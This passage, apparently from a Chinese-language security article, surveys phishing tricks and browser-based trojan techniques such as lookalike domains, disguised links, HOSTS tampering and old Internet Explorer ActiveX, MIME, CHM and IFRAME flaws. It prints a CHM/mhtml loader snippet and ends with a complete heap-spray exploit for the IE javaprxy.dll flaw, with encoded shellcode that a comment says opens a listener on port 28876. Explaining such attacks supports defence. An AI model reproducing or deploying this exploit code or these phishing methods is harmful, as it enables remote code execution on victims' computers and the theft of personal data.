(3).虚假的网址,网络钓鱼者注册一个域名和真实网站域名十分相似的网址,其用户界面也和真实网站页面非常相似,然后不URL提供给用户,那么一般的用户被引导到这样的虚拟网址上是难以察觉的,攻击者也就可以利用该网页来诱导用户输入自己的个人身份信息,达到窃取的目的,例如真实网站域名是www.lovebank.xxx,伪造网站域名是www.1ovebank.xxx,一个是小写的"L",一个是数字"1",域名服务器将解析到完全不同的IP地址上,但用户很难看出来。再如真实网站的域名是www.xxx.xxx.cn,而虚假网站使用域名www.xxx.xxx,很多人也无法判断
(4).更隐蔽的方法,是根据超文本标记语言的规则,可以对文字制作超链接,这样就使网络钓鱼者有机可乘。例如文件源代码可以写成:"<A HREF=http://www.xxxbank.com.cn>http://www.xxbank.com.cn</A>"。这样,屏幕上显示的是xxxbank的网址,而实际却链接到了xxbank的虚假网站。
(5).采用伪装手段。可以在浏览器打开虚假网站的时候,弹出一个很隐蔽的小图像,正好覆盖在浏览器显示网址的地方,该小图像显示被仿冒的网站的真实域名,而浏览器真正访问的地址被掩盖在下面。
(6).虚假的弹出窗口。一些虚假网站会将用户转移到真实的网址,但是转移之前制造假冒的弹出窗口,提示用户进行个人登陆的操作,很多用户会误认为这些弹出窗口是网站的一部分而进一步按照提示操作,直到透露出自己的个人身份信息。
(7).可以利用浏览器漏洞窃取个人信息,如IE就曾暴露出一个漏洞,该漏洞使攻击者可以在垃圾邮件中构造一种数据,用户点击后便可使IE浏览器显示的网址与实际访问的网址不同。采用这种方式进行攻击,欺骗性更好,可以通过向用户发送包含URL的垃圾邮件的方式,诱骗用户点击,用户如果不检查邮件的原始代码,根本无法知道自己被浏览器欺骗了。
(8).黑客程序可以修改用户计算机中的HOSTS文件,将特定域名的IP地址设置成自己的虚假网站的地址,用户访问这些网站时,机器会从 HOSTS文件中获得对应的IP。除了上面的方法外,更为隐蔽和目前常用的攻击手法是,攻击者首先攻破一个正常的网站,然后修改网站的代码,通过跳转语句或嵌入JS脚本的手段,来改造一个挂马的网站,这样当用户点击了包含正常网站的URL时,是不会有戒备心理的,更容易造成更大的损失。
2.通过ActiveX控件制作网页木马。
通过 ActiveX 把普通的软件转化为可以在主页直接执行的软件的网页木马,此类网页木马对所有的系统和IE版本都有效,缺点是浏览网页木马时会弹出对话框,询问是否安装此插件。病毒作者通常是伪造微软、新浪、Google等知名公司的签名,伪装成它们的插件来迷惑用户。
3.利用WSH的缺陷
利用WSH修改注册表,使IE安全设置中“没有标记为安全的的activex控件和插件”的默认设置改为启用,然后再利用一些可以在本地运行EXE程序的网页代码来运行病毒。它的危害在于,可以利用IE的安全漏洞提升权限达到本地运行任意程序的后果。
4.利用MIME漏洞制做的网页木马。
它利用了Microsoft Internet Explorer中MIME/BASE64处理的漏洞,MIME(Multipurpose Internet Mail Extentions),一般译作“多用途的网络邮件扩充协议”。顾名思义,它可以传送多媒体文件,在一封电子邮件中附加各种格式文件一起送出。现在它已经演化成一种指定文件类型(Internet的任何形式的消息:E-mail,Usenet新闻和Web)的通用方法。在使用CGI程序时你可能接触过 MIME类型,其中有一行叫作Content-type的语句,它用来指明传递的就是MIME类型的文件(如text/html或 text/plain)。MIME在处理不正常的MIME类型时存在一个问题,攻击者可以创建一个Html格式的E-mail,该E-mail的附件为可执行文件,通过修改MIME头,使IE不能正确处理这个MIME所指定的可执行文件附件。IE处理附件的方式:一般情况下如果附件是文本文件,IE会读取文件,如果是VIDEO CLIP,IE会查看文件;如果附件是图形文件,IE就会显示文件;如果附件是一个EXE文件呢?IE会提示用户是否执行,但当攻击者更改MIME类型后,IE就不再提示用户是否执行而直接运行该附件。从而使攻击者加在附件中的程序,攻击命令能够按照攻击者设想的情况进行。在Win9X\ME以及 WinNT4和Win2000下的Internet Explorer 5.0、5.01、5.5均存在该漏洞,微软邮件客户端软件Outlook Express也存在此漏洞。
5.利用系统的图片处理漏洞
这是种只要浏览图片就可以传播的网页木马。这种木马是把一个EXE文件伪装成一个BMP或JPG图片文件,在网页中添加如 <img src="love.bmp" >的代码来欺骗IE自动下载,然后利用网页中的Java Script脚本查找客户端的Internet临时文件夹,寻找下载的BMP格式文件,把它拷贝到TEMP目录.再利用脚本把找到的BMP文件用 DEBUG还原成EXE,并添加到注册表启动项中,达到随系统的目的。
6.HTML文件木马
首先利用工具把EXE格式的文件转化成HTML文件的木马,这样.EXE文件看起来就变成了Htm文件,欺骗访问者访问假冒的Htm文件从而达到运行病毒的目的。它和BMP网页木马运用了同一个原理,也会利用JAVASCRIPT脚本和debug程序来转换回EXE文件。
7.Hta木马
Hta网页木马,是利用Internet Explorer Object Data(MS03-032)漏洞制作的网页木马,此漏洞是因为Internet Explorer在处理对象"Object"标记时没有正确处理要被装载的文件参数。("Object"标记用于插入ActiveX组件等对象到HTML 页面。"Object"标记的"Type"属性用于设置或获取对象的MIME类型。通常合法MIME类型包括"plain/text"或 "application/hta", "audio/x-mpeg"等。)Internet Explorer指定远程对象数据位置的参数没有充分检查被装载的文件属性,攻击者可以构建恶意页面,诱使用户访问来运行恶意页面指定的程序 。
8.利用CHM格式漏洞。
这种网页木马首先创建一个Htm文件,包含如下代码:<OBJECT NAME='X' CLASSID='CLSID:11111111-1111-1111-1111-111111111123' wight =0 height =0 CODEBASE='x.exe'>然后用电子书制作工具将包含名为x.exe的病毒文件该文件的文件夹编译成CHM文档。新建一个包含如下代码的 Htm文件。
<title>hello</title>
<textarea id="code" style="display:none;" >
<object data="&#109;s-its:mhtml:file://C:\foo.mht!${lhxy}/x.chm::/x.htm" type="text/x-scriptlet"></object>
</textarea>
<script language="javascript">
document.write(code.value.replace(/\${lhxy}/g,location.href.substring(0,location.href.indexOf('mm.htm'))));
</script>
就达到了调用挂病毒的目的。
9.IFRAME溢出
IE IFRAME漏洞利用了MS05020中提到的IE溢出漏洞, IE在处理iframe标签的时候,会调用一个叫作SHDOCVW!CBaseBrowser2::SetFramName函数来进行unicode copy(wcscpy),在拷贝iframe的name时,没有进行边界检查,构造恶意的代码就会导致IE的溢出。IE产生溢出错误后,可能会被黑客利用打开电脑中某个端口。当微软的IE窗口打开另一个窗口时,如果子窗口是另一个域或安全区的话,安全检查应当阻止父窗口访问子窗口。但事实并非如此,父窗口可以访问子窗口文档的frame,这可能导致父窗口无论是域或安全区都能在子窗口中设置Frame或IFrame的URL。这会带来严重的安全问题,通过设置URL指向Javascript协议,父窗口能在子域环境下运行脚本代码,包括任意的恶意代码。攻击者也能在“我的电脑”区域中运行脚本代码。这更会造成严重的后果。
10. Microsoft Internet Explorer Javaprxy.DLL COM对象堆溢出漏洞
Microsoft Internet Explorer存在一个堆溢出漏洞。当一个恶意的网页实例化'javaprxy.dll' COM对象时,可能导致堆溢出,成功利用该漏洞能够在客户端上下载执行任意代码。其测试代码如下:
<!--
注:这个漏洞利用代码是用PERL脚本生成的可用HTM网页文件,以网页形式保存,打开后如果执行成功,将会监听28876端口
-->
<html><body>
<SCRIPT language="javascript">
shellcode = unescape("%u4343"+"%u4343"+"%u43eb%u5756%u458b%u8b3c%u0554%u0178%u52ea%u528b%u0120%u31ea%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf%u01ac%u85c7%u75c0%u39f6%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b%u8b4b%u1c5a%ueb01%u048b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64%u3040%u408b%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c%u6850%u3233%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe%uff90%uffff%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0%u40c4%ubb50%u7d22%u7dab%u75e8%uffff%u31ff%u50c0%u5050%u4050%u4050%ubb50%u55a6%u7934%u61e8%uffff%u89ff%u31c6%u50c0%u3550%u0102%ucc70%uccfe%u8950%u50e0%u106a%u5650%u81bb%u2cb4%ue8be%uff42%uffff%uc031%u5650%ud3bb%u58fa%ue89b%uff34%uffff%u6058%u106a%u5054%ubb56%uf347%uc656%u23e8%uffff%u89ff%u31c6%u53db%u2e68%u6d63%u8964%u41e1%udb31%u5656%u5356%u3153%ufec0%u40c4%u5350%u5353%u5353%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353%u5343%u534b%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe%u5bff%uc031%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff%uef87%u12bb%u6d6b%ue8d0%ufec2%uffff%uc483%u615c%u89eb");
bigblock = unescape("%u0D0D%u0D0D");
headersize = 20;
slackspace = headersize+shellcode.length
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<750;i++) memory[i] = block + shellcode;
</SCRIPT>
<object classid="CLSID:03D9F3F2-B0E3-11D2-B081-006008039BF0"></object>
Microsoft Internet Explorer javaprxy.dll COM Object Remote Exploit